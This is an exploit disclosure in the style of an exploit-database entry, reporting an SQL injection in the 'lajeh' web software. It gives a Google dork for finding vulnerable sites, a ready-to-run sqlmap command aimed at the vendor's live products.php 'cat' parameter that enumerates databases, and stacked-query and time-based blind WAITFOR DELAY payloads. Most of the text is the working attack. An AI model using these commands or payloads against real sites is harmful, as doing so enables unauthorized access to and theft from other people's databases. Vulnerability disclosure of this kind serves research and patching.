**************************** #Exploit Title: lajeh - SQL Injection vulnerability #Date: 2024-07-11 #Exploit Author: Mahdi Karimi #Vendor Homepage: https://www.lajeh.ir #Google Dork: "Powered by lajeh" #Tested On: Kali Linux sqlmap: python sqlmap.py -u "https://www.lajeh.ir/products.php?cat=16" -p cat --dbs Testing Method; - stacked queries - time-based blind Parameter: cat (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: cat=16;WAITFOR DELAY '0:0:5'-- Type: time-based blind Title: Microsoft SQL Server/Sybase time-based blind (IF) Payload: cat=16 WAITFOR DELAY '0:0:5' --- ************************************************** #Discovered by: Mahdi Karimi #Email : mjoker22mjoker22@gmail.com **************************************************